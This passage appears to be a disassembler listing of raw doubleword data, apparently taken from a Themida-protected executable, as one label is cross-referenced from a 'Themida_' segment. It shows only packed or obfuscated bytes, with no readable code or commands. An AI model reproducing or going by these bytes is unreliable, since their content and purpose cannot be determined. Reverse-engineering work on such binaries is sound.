		dd 0DDC13388h, 4C0C868Eh, 8D896015h, 6060E35h, 9E8h, 0CC7E2A00h
		dd 0F5A18719h, 8E86CD7h, 0D6000000h, 942C31A9h,	5A0B97A9h
		dd 5C8B615Fh, 0E8550C24h, 0
		dd 0EFED815Dh, 8B06098Eh, 0B883h, 32858900h, 8D060976h
		dd 98CAB85h, 0B8838906h, 5D000000h, 6AC3C033h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 793AC352h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	0ADC35747h, 0F4D40022h,	600BB31Ch, 18E0Fh, 89F90000h
		dd 60F35BDh, 1F858D06h,	6A060991h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 92FAC355h
		dd 0F938CA8Ch, 60525050h, 840Fh, 0CE80000h, 0
		dd 0BDA6AD13h, 0F73E9F81h, 5AB85C23h, 0E9310F61h, 0Ch
		dd 995AB2F7h, 8E34D847h, 0A4FCF17Fh, 489585Ah, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 5F9DB3CEh, 0F189905h, 887h, 958B6000h, 6062E8Dh, 0FF64F861h
		dd 35h,	0DE900h, 727E0000h, 5FE38BB4h, 0C1BC55CBh, 64394290h
		dd 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 5E8B01C3h, 969EC3F7h, 0E98FC376h
		dd 5, 29D1CDEh,	0B7858D9Dh, 0E9060991h,	0Ah, 1399396h
		dd 269065B1h, 60890C34h, 19BD8901h, 0C6060627h,	601C185h
		dd 6A4F06h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 594270C3h, 0D5487DC6h, 3268F8ACh,	0FE38644h
		dd 1781h, 12E900h, 0F9E30000h, 62B562FBh, 9D04981Fh, 0FD9CE5BAh
		dd 5E0AD0E8h, 18243481h, 891D4E30h, 61F159Dh, 0DDB5FF06h
		dd 8906061Bh, 6000585h,	1880F06h, 0FC000000h, 7A7C858Dh
		dd 8B0F0609h, 0Fh, 0AE9h, 0A1C94A00h, 95741C27h, 0FF0B6797h
		dd 398D89D0h, 0FC06061Eh, 0C7E9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0FE83462h
		dd 0B80h, 6E900h, 0E1730000h, 6A4D5212h, 0C245C8Bh, 0E855h
		dd 815D0000h, 99129EDh,	1D858B06h, 89060632h, 61BDD85h
		dd 4D858B06h, 89060615h, 600B585h, 99858B06h, 89060604h
		dd 6152185h, 0C185C606h, 60601h, 7B8485C7h, 609h, 858D0000h
		dd 60991B7h, 0B88389h, 335D0000h, 6AC3C0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 103A9CC3h
		dd 35166DB2h, 2449BD89h, 66600606h, 13067B9h, 61085BDh
		dd 9E96106h, 59000000h,	5502A500h, 94C60EDh
dword_57D5E8	dd 12FF74BCh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
					; DATA XREF: Themida_:00544436o
		dd 1804h, 0C3574700h, 6BD4B504h, 8F64FCD7h, 5, 0E18D8900h
		dd 8306062Bh, 0AE904C4h, 4C000000h, 174B70ACh, 0F1CB8BBCh
		dd 0CE86190h, 0A9000000h, 513BA480h, 1D594BA2h,	813EBAECh
		dd 44B3F8E1h, 8B665B07h, 0A0C381CFh, 29000072h,	62CBDBDh
		dd 6806h, 0B8660000h, 8B5A0122h, 62D55BDh, 13348B06h, 5DBD89h
		dd 0EE810606h, 34D521FDh, 5890Fh, 67B80000h, 8173F392h
		dd 756B7BF6h, 11E965h, 27170000h, 0F8B42962h, 0D3B952A6h
		dd 0F9005D62h, 8170212Ah, 4A3AF0F6h, 560EB55Fh,	13048FF9h
		dd 895FF851h, 60FCD8Dh,	4EA8306h, 0E9B86660h, 3DCB8008h
		dd 24FA8161h, 0FFFFF8Eh, 1E85h,	0C1858B00h, 0E9060622h
		dd 27h,	0E76A7EA0h, 7D3501D5h, 6DA78135h, 344C1DF9h, 66BEC122h
		dd 76E9C18Bh, 6FFFFFFFh, 0D3301596h, 0C884030Bh, 0E9D03165h
		dd 83h,	56525153h, 245C8B57h, 3B81661Ch, 850F5A4Dh, 68h
		dd 3C43B70Fh, 8166D803h, 0F45503Bh, 5785h, 785B8B00h, 1C245C03h
		dd 324738Bh, 561C2474h,	8B207B8Bh, 7C031C73h, 74032024h
		dd 83FC2024h, 8B41FFC9h, 8B1C245Ch, 24540317h, 4C78320h
		dd 0C084028Ah, 33A0874h, 4243E875h, 33AF2EBh, 0D15FE075h
		dd 4B70FE1h, 86048B0Fh,	1C244403h, 595A5E5Fh, 8C25Bh, 0F1E9C033h
		dd 8BFFFFFFh, 148E9CAh,	500000h, 540000h, 580000h, 5C0000h
		dd 600000h, 640000h, 680000h, 6C0000h, 0B00000h, 0B40000h
		dd 0B80000h, 0BC0000h, 0C00000h, 0C40000h, 0C80000h, 0CC0000h
		dd 0D00000h, 0D40000h, 0D80000h, 0DC0000h, 0E00000h, 0E40000h
		dd 0E80000h, 0EC0000h, 38h dup(0)
		dd 0D7EA0000h, 50EB0057h, 858D00A0h, 6099359h, 1E998D89h
		dd 85890606h, 6099499h,	17458589h, 85C60606h, 60601C1h
		dd 68F0F54h, 89000000h,	601A9BDh, 30666806h, 0F48AA8A1h
		dd 0C3240481h, 6645C137h, 0B5FFF78Bh, 6061BDDh,	2E558D8Bh
		dd 858D0606h, 6097A7Ch,	0FFCEBF0Fh, 0A5B58BD0h,	89060623h
		dd 9949D85h, 5E906h, 0C79A0000h, 0E9690231h, 4Bh, 25719509h
		dd 8B560606h, 99499B5h,	83068906h, 9949985h, 0C35E0406h
		dd 59B58D60h, 0EB060993h, 6A560Fh, 95FF36FFh, 609949Dh
		dd 4C6835Eh, 75003E83h,	8BC361ECh, 62C019Dh, 9D958906h
		dd 5306060Fh, 1E158501h, 8D590606h, 9952785h, 319D2906h
		dd 89060613h, 6223D85h,	0E5E906h, 4D100000h, 71DCFFEEh
		dd 0A1D1F32h, 8FDD7A0Eh, 6D373353h, 3D557D2Fh, 0D57F2D77h
		dd 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh
		dd 6D373353h, 3D557D2Fh, 0D57F2D77h, 577DD77Dh,	0DF6D171Eh
		dd 20602075h, 0E0202060h, 0AC2060E0h, 0A9F77B68h, 0D020A1E4h
		dd 0EDA693B2h, 91B99DB7h, 20ACA3F2h, 20602060h,	0E0202060h
		dd 752060E0h, 0D0A3353h, 20557D2Fh, 20602060h, 2BA72860h
		dd 0D650F036h, 0EFB6F360h, 0E0F796A1h, 0B8E3A7B4h, 0B3F47192h
		dd 0F76DB9E9h, 2 dup(20602060h), 0DF6DF720h, 0D773351Ah
		dd 0F73D577Dh, 75D55FEDh, 6D373353h, 3D557D2Fh,	0D57F2D77h
		dd 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh
		dd 6D373353h, 1E357D2Fh, 0A8000E0Ah, 54A766C1h,	0FC43F2FDh
		dd 0E920CB3Ch, 0D18h, 9986768h,	0E717E906h, 5568FFFCh
		dd 0E9060999h, 0FFFCE70Dh, 99A3668h, 0E703E906h, 2968FFFCh
		dd 0E906099Bh, 0FFFCE6F9h, 99BE368h, 0E6EFE906h, 0B668FFFCh
		dd 0E906099Ch, 0FFFCE6E5h, 99E2B68h, 0E6DBE906h, 3168FFFCh
		dd 0E906099Fh, 0FFFCE6D1h, 9A00768h, 0E6C7E906h, 0D068FFFCh
		dd 0E90609A0h, 0FFFCE6BDh, 9A1BB68h, 0E6B3E906h, 0B8D1FFFCh
		dd 0E7997F9h, 661F3D9Fh, 0C5BFDD3Fh, 245E7CDEh,	55221D7Fh
		dd 42A4FF83h, 0E5476424h, 87E9BCC7h, 2C8E1D69h,	9C2156D7h
		dd 5033CE11h, 0ED9B3B3Ah, 0DB0160BEh, 0BFEC9A17h, 66454361h
		dd 9838C908h, 0C4F403EAh, 999C6275h, 386B1838h,	39557BDAh
		dd 0B9F2946Dh, 0A0E0FD57h, 285EFE0Fh, 0DAF7C67Bh, 9CFD2DC4h
		dd 0E2427776h, 0D82BC2DBh, 0A0D5E677h, 33CADB1Dh, 7C486ECFh
		dd 197B285Eh, 0C2208BFBh, 0CADAB10Fh, 1F873533h, 0A507A4E2h
		dd 46A4FF87h, 0E7455E28h, 2BD6D07Eh, 0DCEE505Bh, 0AEF3D414h
		dd 57653h, 0EC9A8F00h, 434361BFh, 6ECCDBA9h, 0D98EF0Fh
		dd 0B7B1BACh, 1BAA7AA0h, 7BE8D50Ah, 0AB0C2DC4h,	5EA6BB85h
		dd 4BD898CDh, 0B91A2BC2h, 7F35CC5Bh, 0BE2EF06Ch, 338EB1D7h
		dd 6633CA7Ch, 573BD067h, 31A9C9B4h, 0CBF15251h,	0DA16F7AFh
		dd 16AEF40Eh, 0D6E1457Fh, 153B74C2h, 3D8Dh, 15EC900h, 0F8AD4042h
		dd 0E7066D4Fh, 8FEE4CADh, 0E4689D2Eh, 0B22BC347h, 0F2CC611Bh
		dd 5278F14Dh, 0FCC1F687h, 0F033CB44h, 1DD02E8Fh, 33CB44A4h
		dd 40CDD9F5h, 0AEF43EB0h, 98B7h, 0EC9AF300h, 3F4361BFh
		dd 9EE80664h, 0FD89A705h, 0F7994CAEh, 3A2DC478h, 0DFFD5F4Ch
		dd 449EFCA7h, 2156E72Fh, 2BC25ACFh, 7C13A405h, 9E9EC68Dh
		dd 916187BCh, 84236202h, 0DBA7C726h, 0BBD8A2C8h, 6BB5EA7Bh
		dd 4931D3C8h, 0ED4E5D29h, 0DDC6BC5Ch, 7E255D7Bh, 39E8749h
		dd 0A444A084h, 0A63h, 0F5575633h, 93F5B0D7h, 37991075h
		dd 0DA3C6B19h, 7BDDC6BCh, 0A1E1F780h, 682A002h,	5A2947A9h
		dd 0BBCBE94Bh, 0B8398EF0h, 0CE143A83h, 0E0A4BA33h, 59BBE89Ah
		dd 0FE604B3Bh, 1015EAAh, 80113B70h, 38CF2BC2h, 523BA8B0h
		dd 0DCCBBA2Fh, 298A557Bh, 0EB9C3CCBh, 404462C0h, 0B9DC0263h
		dd 33CB0C08h, 98FB9291h, 13CC8971h, 0D1D5F117h,	0F389B43Ch
		dd 0C3B3AEh, 29EF0000h,	4CAAF989h, 4D39C7EDh, 0A0E2005Eh
		dd 7616A503h, 4F72980Fh, 2DC47941h, 0FC8D1670h,	0C4C12B5Ch
		dd 0C72887E5h, 14E40A69h, 0B51390F6h, 6DFE065Bh, 0C25BB838h
		dd 0ED9ABA2Bh, 0C11F86FFh, 0A6E10162h, 0E94AA907h, 0D7CCB858h
		dd 24F41A79h, 0D8AEB5CAh, 0A4D96ACBh, 31D3044Dh, 0F5952687h
		dd 96B4168Dh, 6B5287ECh, 812DD2FCh, 0CA8ABF20h,	9584036Ah
		dd 9759939h, 44450000h,	0A2E50365h, 283A103h, 612341A3h
		dd 0C0C2E042h, 0F98681E3h, 0A6089BE7h, 41A30088h, 0E3456023h
		dd 80E2C1C5h, 4875AA2Bh, 0AC33CE15h, 0E89AD296h, 7C67568Bh
		dd 2C8D2DC4h, 3B4B69CBh, 6E7F0E70h, 0C47C8439h,	0E107682Dh
		dd 0E318291Dh, 2DC47BDAh, 593B91Ah, 83226381h, 4B809122h
		dd 2DC47C72h, 2FFB2182h, 0A5367511h, 0FD238205h, 0F820212Dh
		dd 0D50A9B9Bh, 2BC27AABh, 40D768C9h, 2761A0F1h,	22DF7188h
		dd 9BBEE006h, 0D912754Ch, 7A4E484h, 0D8E51AA9h,	1C26928Ch
		dd 6A345ABBh, 477C0D15h, 2490722Dh, 660BE1Fh, 794479E9h
		dd 0B82C8C86h, 1B7CD9CAh, 21F429BAh, 132A950Ch,	58121B2h
		dd 127515A6h, 7B203593h, 679EF463h, 0F0C0E647h,	0C2F7B4D2h
		dd 8B50C30Ch, 9457F753h, 64000008h, 6248625h, 0A2C02281h
		dd 4462C4E3h, 0E3016340h, 0A7A2049Fh, 297A08DEh, 0D0DFA9C7h
		dd 7033506Eh, 0D96F00Eh, 0A0D556ABh, 33CE161Dh,	9AF5B9CFh
		dd 8E2EBFECh, 0F453B1F6h, 4BA802CEh, 0AF85BA4Bh, 252BC27Ah
		dd 148FF494h, 0CA7D5E5Fh, 0CC2D8E33h, 95CADB6Ah, 33CA7D28h
		dd 7B456BCCh, 0F68D1E66h, 78AD3B20h, 33CB7745h,	1D2F46A7h
		dd 1F1E4455h, 0D4591DEAh, 37F1F31h, 79823B70h, 11722DD4h
		dd 5EBF8AB0h, 6B1CBCCDh, 5D83E240h, 8AECB7CFh, 33911A6Ch
		dd 0EB7C84D9h, 2994C9DAh, 0CB2DD479h, 76FA536Ah, 93686C6Bh
		dd 1AC64A6Dh, 6BCC2BDDh, 5F4C3ADAh, 3588BDCEh, 0B733CB3Ah
		dd 42603056h, 0AF096744h, 8CC15252h, 31C90FB4h,	5DD0730Ah
		dd 9A1BA2D7h, 70D12DC4h, 14B8259h, 87F910DBh, 0D7658854h
		dd 82265BBCh, 0DD841153h, 7A1E181h, 18710000h, 6E193799h
		dd 0C6BFDD3Fh, 255F7DDFh, 84FE1C7Eh, 35C2BD1Fh,	0E2445F23h
		dd 85E7C4C4h, 27891C67h, 0CC2E7D09h, 0FCC1F677h, 0F033CE16h
		dd 892916DAh, 0F352B0FFh, 0CFF5B0D3h, 17A8E805h, 6C8BF380h
		dd 7CC6E055h, 0DC92A990h, 0ACFB8AF1h, 688EEF4Eh, 0A5E43469h
		dd 6DCE2BCEh, 85BACBDCh, 33CD9F38h, 0A7355BBCh,	0D362C4DFh
		dd 0F7555033h, 0A2E47298h, 3C51AB09h, 1D5263F4h, 33CD9EA0h
		dd 55B3F291h, 123899F6h, 9D56DE13h, 0C15831CBh,	0B2EC6673h
		dd 95CA5BB5h, 2DD3F528h, 7A456BCCh, 5B2A8A63h, 76AB4AB4h
		dd 2DD39147h, 8AEB4CADh, 2D53B55h, 8A80484h, 6E7h, 71D3D2B7h
		dd 17793453h, 0BB1D8CF9h, 5EC0E79Dh, 0FF614240h, 1D657B04h
		dd 82062486h, 0DEA5C325h, 3F4765C7h, 2CAD0264h,	0CE16C6F7h
		dd 4C102633h, 7001015Eh, 0CDEECC3Bh, 0C657B82Bh, 123D80B5h
		dd 1EAF33CEh, 0CE11D4E9h, 56B71833h, 8DEA1C3Fh,	4C72BF8Bh
		dd 0CAD9AD4Dh, 4F39D968h, 0C1554960h, 0E47CA1DAh, 4D5630BEh
		dd 387895EFh, 309E72A7h, 339431D7h, 228102A2h, 0BD0035C4h
		dd 2F2DC54Fh, 48476DCEh, 63C5DEA8h, 2F8EC3D4h, 0C52DC550h
		dd 0D6B03E64h, 40E06FCDh, 0A2015F44h, 555DB27Ch, 0BCF72DC4h
		dd 637A295Fh, 0C6E647BFh, 0BEBDE3C0h, 0C2C9B789h, 77AC3D2Bh
		dd 33CACE46h, 0AC09A4E3h, 52B0FB8Ch, 0FC3192F3h, 7E0B98E4h
		dd 14BB5BB7h, 0E4000006h, 86A406A5h, 2240A201h,	0C4E24463h
		dd 6381E3C0h, 2722841Fh, 0A9FA885Eh, 505F2947h,	0F0B3D0EEh
		dd 8D16708Eh, 2055D62Bh, 33CE179Dh, 9A75394Fh, 972EBFECh
		dd 0E2A267A2h, 0ADE6AEC5h, 7A1CF559h, 0F95AFEABh, 9EFCABD9h
		dd 2F4D193Fh, 90EA4C57h, 6DA23373h, 2BC30C03h, 7F3290F1h
		dd 33CB6C42h, 0A26B3B57h, 0AEF4694Eh, 2F19h, 15E5500h
		dd 0BF5F7001h, 456222C4h, 0C92788E7h, 6D3A4A6Ah, 7F282447h
		dd 49AA2BC2h, 808938EBh, 0F41033CAh, 79955BB2h,	12D2AEF3h
		dd 0E000001h, 0E781829h, 23D83795h, 2DC47B9Ah, 33E2F95Ah
		dd 0FE0AC0Dh, 3155E309h, 8CF61472h, 0CC0BB2E7h,	80E12DC4h
		dd 0A2A6569h, 0A90A55DBh, 4A592D4Bh, 21E22B9h, 6643F48h
		dd 79090A7h, 86256181h,	6E059460h, 0C9BEDE50h, 61D7CDAh
		dd 749A7843h, 0A103A0E6h, 0F1CC0112h, 32DC4B5h,	0A726B4ECh
		dd 3A9B2984h, 8D9FF114h, 0B4D22DC4h, 0EACF66F7h, 67146351h
		dd 0D397265Bh, 0FC5D2DC4h, 16A5759Bh, 76960D76h, 0D8379512h
		dd 496224B2h, 347C91EBh, 0B3EA6EA3h, 41582BC2h,	0A8DD2E49h
		dd 9F0EEA01h, 7AD43697h, 7B8C1D65h, 0CADB7746h,	0F61C7D33h
		dd 28C7C2F7h, 0A6BD31D3h, 4E84C0E3h, 0A53697EBh, 1D677D05h
		dd 68C92886h, 99AE806h,	31EC6D4h, 9D3D9984h, 49Fh, 298B1A6Fh
		dd 0CF317C0Bh, 73D5D4B1h, 16782F55h, 0B7198AF8h, 651D33BCh
		dd 0CABEDC3Eh, 265D7BDDh, 87FF1D7Fh, 0E465BA1Ch, 0CE1A0EAFh
		dd 4C8DE33h, 59BBE89Ah,	0FE604B3Bh, 1015EAAh, 30B4D070h
		dd 8FEE4C57h, 0D409082Eh, 2BC27F78h, 0F188197Ah, 0D5F6FA79h
		dd 763551EBh, 9423EF15h, 0B51390F4h, 0B40D3056h, 0E533CB27h
		dd 13B3DDC9h, 0F0CD0271h, 433CB27h, 9A1C42A3h, 0AEF42156h
		dd 0C511h, 0EC9A4D00h, 0EF26109h, 4CAD5C40h, 0F1B2D0EEh
		dd 1EC6C060h, 7DDC3A69h, 772AF61Ch, 2DC4D919h, 0E4752E58h
		dd 43694244h, 72315573h, 3F748514h, 2DC4DF7Eh, 70CEDDABh
		dd 2D53B411h, 75060E63h, 0C2BF1840h, 0B8F30A2Bh, 9B1EA976h
		dd 2634046h, 88E53FA1h,	66C2F788h, 5C31D371h, 0B9596AFBh
		dd 1F7EDCCBh, 8C176BF9h, 8CFB9B2Ah, 8E6B9D6Bh, 0D33415C9h
		dd 62F01675h, 524E8320h, 0DD840384h, 399E181h, 20690000h
		dd 76112F91h, 0CEB7D537h, 2D5775D7h, 8CF61476h,	0CDBAB517h
		dd 0DA3C671Bh, 7DDFCCBCh, 1F81245Fh, 0C4268501h, 4B9EE6Fh
		dd 0E833CE1Bh, 0E89A0ED2h, 2ACA59BBh, 8DEC4A59h, 0FEADD967h
		dd 0EC9A489Ch, 0E81D2EBFh, 2DC47BD5h, 0C490B617h, 61C3E0A6h
		dd 555232D2h, 8C8CB32Fh, 0F3CAFF77h, 0F92DC47Bh, 93107898h
		dd 80AA132h, 4F72276Ah,	0B7F691B1h, 0D5D4FA59h,	0C2C9E0A0h
		dd 20B1122Bh, 0C9E3DA0Fh, 0A80933CAh, 0C9DBE217h, 0B01133CAh
		dd 2445688Ah, 118FF75Ch, 7715FEFCh, 0B5F8700Ah,	0BE8EC354h
		dd 34CDF641h, 0C61B75D3h, 1DF82DBEh, 0DBD002C8h, 0FD5B4A3Bh
		dd 0E5D80D9Eh, 7D00137h, 54B580A6h, 486323C3h, 0E5BEC8E6h
		dd 0D52EBEB0h, 8D2D89E1h, 2C3h,	55B7F693h, 0F3555037h
		dd 97F9B0D5h, 3A9C0B79h, 0DB3D661Ch, 414117E0h,	0A6E20062h
		dd 0FA89A709h, 5B2B49ABh, 1899EE50h, 0CE1BDAE3h, 40041A33h
		dd 61BFEC9Ah, 5BF4EA07h, 2A24CC07h, 4A5BEC4Dh, 1BC3AAB3h
		dd 8EAECF67h, 0F04FADFAh, 2419A7CAh, 7A72BC3h, 8007277Eh
		dd 4268C725h, 0A8B41677h, 2E768B8Dh, 5B18689Dh,	0F95A31C9h
		dd 0F6732245h, 156A914Ah, 2D477C0Dh, 1FE850F0h,	0E90660BEh
		dd 107818A9h, 940F7393h, 0B2B1D736h, 625B90A1h,	92E84D10h
		dd 2DE80B31h, 0EBE65596h, 18C4E54h, 710241D3h, 459E813Ch
		dd 0EC1273EAh, 8F2FC021h, 7C84F6F7h, 0C34F5C8Bh, 0A4E20062h
		dd 0DAE2D207h, 116DC790h, 1FA71h, 0F0BFCA00h, 8C17708Eh
		dd 2A790C2Ah, 0CDDAAAC8h, 6E354D6Bh, 7264110Ch,	13319310h
		dd 0B6D43675h, 5674D6CDh, 0BC117330h, 1BB7063Bh, 273D33CEh
		dd 0FA892963h, 8FF785ABh, 9027B614h, 791A5121h,	0BC86AC17h
		dd 99CE5FA7h, 2BC3547Bh, 76355171h, 1D8AFA18h, 0BBE89CBCh
		dd 4AECF85Ah, 0E071B1CEh, 0C94AD5ABh, 8A3E9F31h, 3769B667h
		dd 0FEB8295h, 1E680073h, 0B4C993B9h, 0DBB6073Ch, 0D536E6B6h
		dd 32D2E374h, 98F75552h, 0C1254F72h, 8C23E4B4h,	186E83C4h
		dd 0B7CE2D8Bh, 3D63423Ch, 59B31172h, 0D46BFC04h, 456AD3F9h
		dd 0C8C0E033h, 81B6B5DBh, 0EAC17E94h, 0C22BBD54h, 809E59BCh
		dd 0C1788F5Ah, 2CCB4AAFh, 1C7A295Bh, 6AFB5CBDh,	5EEFBCCAh
		dd 0BEDEC5BEh, 207FDDCAh, 7A0C2AFAh, 33941372h,	14DE18FEh
		dd 0CB6BC7CBh, 10Fh, 99FBAADFh,	3FA10C7Bh, 0E3456421h
		dd 86E8BFC5h, 27891A68h, 0F58D432Ch, 5A2E4CAEh,	0B6CDEB4Dh
		dd 176F8DEFh, 54D52A8Ch, 0CE1C9E1Fh, 74384E33h,	61BFEC9Ah
		dd 19AAEA07h, 799F0E79h, 761F457Ah, 0B4152BC2h,	0E02CC352h
		dd 0BEF053FAh, 0DA370127h, 0A13849DAh, 0DC52AB1Dh, 299449E3h
		dd 0CB33CB38h, 1045446Ah, 31D4A9DFh, 608DF515h,	0A1783DE7h
		dd 0A1FF60D9h, 0B950E142h, 0F17005FFh, 2EFA207Fh, 4A777610h
		dd 4935C342h, 8BA90B6Ch, 9F52B0FBh, 0B15F22Eh, 0A0FEADDBh
		dd 44A20182h, 1DA30321h, 18782EDCh, 0C387AA81h,	0C2E89DB1h
		dd 0EC9A5234h, 0A10261BFh, 4665213Fh, 890D1EB5h, 83801262h
		dd 0D72C646Ch, 72DB2F6h, 10671D3Bh, 91F0E2DBh, 50B11254h
		dd 103D28BFh, 0E0D36F2Eh, 223953E8h, 62889A9Dh,	0BA5A6B96h
		dd 9DB9DFCCh, 5F8EF809h, 0C1F6ACFFh, 54926CFCh,	10788FF0h
		dd 357212B9h, 0F31173D4h, 1ABA1893h, 3,	9A065A46h, 4462C0EFh
		dd 0ED0B6942h, 93B10F96h, 3A58B6F5h, 0DFFD5B48h, 84A200A3h
		dd 2745A300h, 0CBE9475Eh, 1B93F1BCh, 81595451h,	4C1h, 4E98300h
		dd 5C240C87h, 45F268h, 24348900h, 45B468h, 243C8900h, 0FECB850h
		dd 0BA5215A6h, 10A300E4h, 8104E2C1h, 6E072EE2h,	9CE2810Bh
		dd 814CB848h, 8F9925F2h, 5AD0311Bh, 5458C689h, 81243C8Bh
		dd 4C4h, 2C815600h, 0F16FF024h,	8478F70h, 0F0084781h, 0FF70F16Fh
		dd 835F2434h, 34FF04C4h, 0C4835E24h, 0DA17E904h, 0A1ACFFFCh
		dd 337A42Ch, 0D1BC4510h, 0E078506Fh, 9A2EFB8h, 0FFC50306h
		dd 0ECA154E0h, 0A22B9E13h, 35326168h, 0F239853Ah, 10F45C4Fh
		dd 2AB77A7Ah, 0C850373Ah, 71F78964h, 74A89C03h,	24EC614Bh
		dd 53279B3Eh, 1BBB913Ch, 5E7AB27h, 20E1BB76h, 2075FF0Ah
		dd 0BB835501h, 45E0F855h, 61C0E172h, 98556973h,	12E836h
		dd 0E89E0000h, 5FFDFD7Bh, 6FDE9525h, 40D7F907h,	0E43A69Bh
		dd 6E9h, 19406500h, 59C32A93h, 58C0Fh, 77BB0000h, 8120A27Bh
		dd 67D9C1h, 68F18B00h, 19C5h, 58F08B66h, 6E9h, 64126B00h
		dd 8B4A6E2Ah, 0AE811h, 0E0ED0000h, 0CACA761Fh, 25B8FA96h
		dd 9F2815Bh, 0E93BF502h, 9, 0E7872F2Dh,	0D978B68h, 3EA8144h
		dd 663254B7h, 40EAC781h, 0E082EA81h, 0BE6615D7h, 11893D00h
		dd 9996E981h, 13E964E6h, 4C000000h, 25392F7Fh, 7F08288Fh
		dd 994CC8Bh, 6C6D0051h,	0C1819918h, 64E69992h, 4F3AD381h
		dd 0E88171FFh, 1, 0FF8D850Fh, 0BE8FFFFh, 0E3000000h, 9EEA1618h
		dd 0D9AAA83Fh, 0EB5E1148h, 0C0000039h
		dd 0C002CC00h, 0C002E400h, 0
		dd 0ED9F7B00h, 0F493C047h, 0E59BAA76h, 0EE9F9622h, 0E4D89D4Fh
		dd 0CEF6144Eh, 0CCBA7876h, 0CF825022h, 0D4986A52h, 0E193F54Ah
		dd 0EA96C346h, 831EB422h, 0A0F6F022h, 9ABBB7Fh,	1F2184Eh
		dd 9AF23A66h, 0C5F60F22h, 248A4477h, 0FC65E8E5h, 8374EEBDh
		dd 8FF6F022h, 35F78195h, 86F01D93h, 84C78BABh, 407D0924h
		dd 3D7576A9h, 86F0F3F3h, 3FF9422h, 86F2459Fh, 99827824h
		dd 407D6F72h, 80F2A79Ah, 0D1738622h, 0DF0810Eh,	8844A2BFh
		dd 0DB251E24h, 354B737Ah, 80F07E26h, 0D3A62B56h, 80F2A79Ah
		dd 0D1738622h, 0DF0810Eh, 885993BFh, 0DB251E24h, 8679FF7Ah
		dd 0ABF67822h, 86D04D97h, 0E14B9524h, 0BF0092Dh, 4B4188E2h
		dd 813746E4h, 0BA0E724h, 86DAA5B7h, 0C0BC1024h,	0D349DE43h
		dd 1A629A3h, 78EE2B16h,	809CF9EBh, 80F52B74h, 0DED6E122h
		dd 0F47FAEE1h, 0C4777C06h, 80E13806h, 0D6B01E22h, 0A5A475E1h
		dd 80F96F08h, 0D65C322h, 27C5C73Bh, 129011DDh, 79CDB462h
		dd 0ED7B17C1h, 0DFF01838h, 9B2BBADDh, 1D7F8124h, 86F0E3CBh
		dd 0FA8A64AFh, 809CF62Bh, 80F59070h, 0DAD63C22h, 0D47F44E1h
		dd 0C4770B06h, 80EB8306h, 0D2B4C322h, 0AAA94E1h, 0CF0CA753h
		dd 6894B2BCh, 80F63C30h, 84062323h, 579DDB97h, 34EAE0B0h
		dd 715302Fh, 7677AEB9h,	0F4CAF6B1h, 941E287Bh, 69F63C22h
		dd 8D15DF23h, 1C33019Ah, 7C66FCFFh, 434B8BF7h, 8946D13Eh
		dd 86C731AFh, 7FA82724h, 0D6F656F2h, 80F61DCAh,	43A82F22h
		dd 0A4820E7Ch, 0A4B24226h, 80F6F726h, 43A0B622h, 9B5897Eh
		dd 86E039B7h, 0EAF27424h, 831E5E22h, 0A0F68722h, 9AF007Bh
		dd 1F2C56Eh, 9DF2D466h,	0C1F67822h, 3872FF73h, 3E285C1Dh
		dd 0CE4ACD5h, 27063E44h, 80FB2A42h, 36A8E122h, 7EFA80h
		dd 0F7E3FF2Fh, 0A3E8D1D1h, 86D573BFh, 841E6E24h, 80F68722h
		dd 3FF6C332h, 0B8589861h, 20499672h, 0A4B2F3F8h, 80F3D526h
		dd 0BE6A1E22h, 0BCAE074h, 8D1FD522h, 37F6C322h,	98BCEBB6h
		dd 174AD335h, 317D4A26h, 0A4B2B57Dh, 809C4626h,	80F5E777h
		dd 0DDD68722h, 0EC7F9EE1h, 0C477E506h, 80EBF406h, 0D5B37822h
		dd 0A187B0E1h, 62BADD4Fh, 0B24173Dh, 86E52EB7h,	0BB5EAB24h
		dd 0D2A626D3h, 0D0A0C12Dh, 0DAC77770h, 0D8AC627Ah, 0C4D21AA3h
		dd 0EACE01E5h, 831ED622h, 0A0F6C322h, 9AF227Bh,	1F2D46Eh
		dd 9CF25C66h, 0C1F63C22h, 65C4DD73h, 0EB10B5A6h, 0E6C3640Bh
		dd 0EA5BE39Ch, 0F2C6122h, 657620DDh, 0E97B5159h, 9F03A09h
		dd 895286A7h, 0D2F66524h, 80F684CAh, 43ACE322h,	0A4A26878h
		dd 0A4B27126h, 80F66026h, 43A47E22h, 96C27E27h,	0C17B864Ch
		dd 0BF08132h, 823AC6DAh, 57FE122h, 86FF54BEh, 9EEB8A1h
		dd 89529CA7h, 39362D24h, 80F60DCEh, 809C2DD1h, 80F52B72h
		dd 0D8D6E122h, 0C47FA8E1h, 0C4777C06h, 80E33806h, 0D0B61E22h
		dd 0BF556E1h, 86EB7EAFh, 55634A24h, 46F0E703h, 86F731A7h
		dd 72763B24h, 0B66F5432h, 0B477B708h, 0CDABC806h, 0D2F6ED17h
		dd 80F6C0CAh, 43ACC122h, 0A4A27978h, 0A4B2F926h, 80F62926h
		dd 43A45C22h, 0FF98364h, 80F68724h, 0B3475629h,	3509E724h
		dd 86F0EBFFh, 0D04C72Dh, 898C40A7h, 787D7824h, 809CDFDDh
		dd 80F56F71h, 0DBD6C322h, 0DC7FBAE1h, 0C477F406h, 80EF7C06h
		dd 0D3B53C22h, 0A55157E1h, 396D3FCFh, 9E055668h, 9BC746ABh
		dd 1D7FE724h, 86F0DACBh, 0B0B3FDAFh, 809C3A24h,	80F5F677h
		dd 0DDD60F22h, 0EC7FDAE1h, 0C477C706h, 80E1E506h, 0D5B3F022h
		dd 443B3DE1h, 977D33A7h, 68F61E22h, 80F60F2Fh, 5CB8BF0Dh
